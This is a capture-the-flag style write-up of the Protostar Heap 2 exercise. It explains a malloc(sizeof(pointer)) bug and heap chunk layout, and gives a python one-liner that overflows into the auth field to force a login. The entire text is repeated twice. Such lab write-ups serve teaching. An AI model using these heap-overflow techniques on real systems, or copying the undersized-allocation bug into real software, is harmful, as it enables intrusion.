Exploit Exercises - Protostar Heap 2

There is a couple of interesting things here. The first one is in this code:

if(strlen(line + 5) < 31) {
    strcpy(auth->name, line + 5);
}

We see that the length of line parameter is checked. That means we cannot just overflow auth->name.

The second one is in this code:

auth = malloc(sizeof(auth));

When malloc() reserves space, it uses sizeof(auth). However auth is a pointer here. Thus it uses a size of an address of the structure instead of the structure itself. It should be sizeof(struct auth).

You can make sure, that the addresses increased by 0x10 each time we allocate new memory by calling auth:

auth a
[ auth = 0x804c008, service = (nil) ]
auth a
[ auth = 0x804c018, service = (nil) ]

0x10 is a space needed for:

img

Let’s go further. We see the program uses strdup() which allocates a copy of a char* on the heap. In other words it uses malloc() in its internals. So we can use this function to allocate additional heap memory.

We need to construct pseudo heap chunk as if it was 32 bytes allocated. Don’t forget to take into account a size of chunk header used by strdup(). Then we need to write a variable right after it.

A little explanation to what is going to happen. We need our memory to look like this after execution:

auth chunk header [8]
-------------------------- chunk header --------------------------
auth chunk data [4]
padding to be aligned  [4] /* remember that 0x10  */
---- end of auth ----
service chunk header [8]
service chunk data [16]    /* 16 is a calculated value */
------------------------ 32 bytes of data ------------------------
auth [4]

Construct and run the exploit:

$ python -c "print 'auth a'+'\n'+'service'+'A'*16+'\xff'+'\n'+'login'" | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Awesome, it worked out!

There is a couple of interesting things here. The first one is in this code:

if(strlen(line + 5) < 31) {
    strcpy(auth->name, line + 5);
}

We see that the length of line parameter is checked. That means we cannot just overflow auth->name.

The second one is in this code:

auth = malloc(sizeof(auth));

When malloc() reserves space, it uses sizeof(auth). However auth is a pointer here. Thus it uses a size of an address of the structure instead of the structure itself. It should be sizeof(struct auth).

You can make sure, that the addresses increased by 0x10 each time we allocate new memory by calling auth:

auth a
[ auth = 0x804c008, service = (nil) ]
auth a
[ auth = 0x804c018, service = (nil) ]

0x10 is a space needed for:

img

Let’s go further. We see the program uses strdup() which allocates a copy of a char* on the heap. In other words it uses malloc() in its internals. So we can use this function to allocate additional heap memory.

We need to construct pseudo heap chunk as if it was 32 bytes allocated. Don’t forget to take into account a size of chunk header used by strdup(). Then we need to write a variable right after it.

A little explanation to what is going to happen. We need our memory to look like this after execution:

auth chunk header [8]
-------------------------- chunk header --------------------------
auth chunk data [4]
padding to be aligned  [4] /* remember that 0x10  */
---- end of auth ----
service chunk header [8]
service chunk data [16]    /* 16 is a calculated value */
------------------------ 32 bytes of data ------------------------
auth [4]

Construct and run the exploit:

$ python -c "print 'auth a'+'\n'+'service'+'A'*16+'\xff'+'\n'+'login'" | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Awesome, it worked out!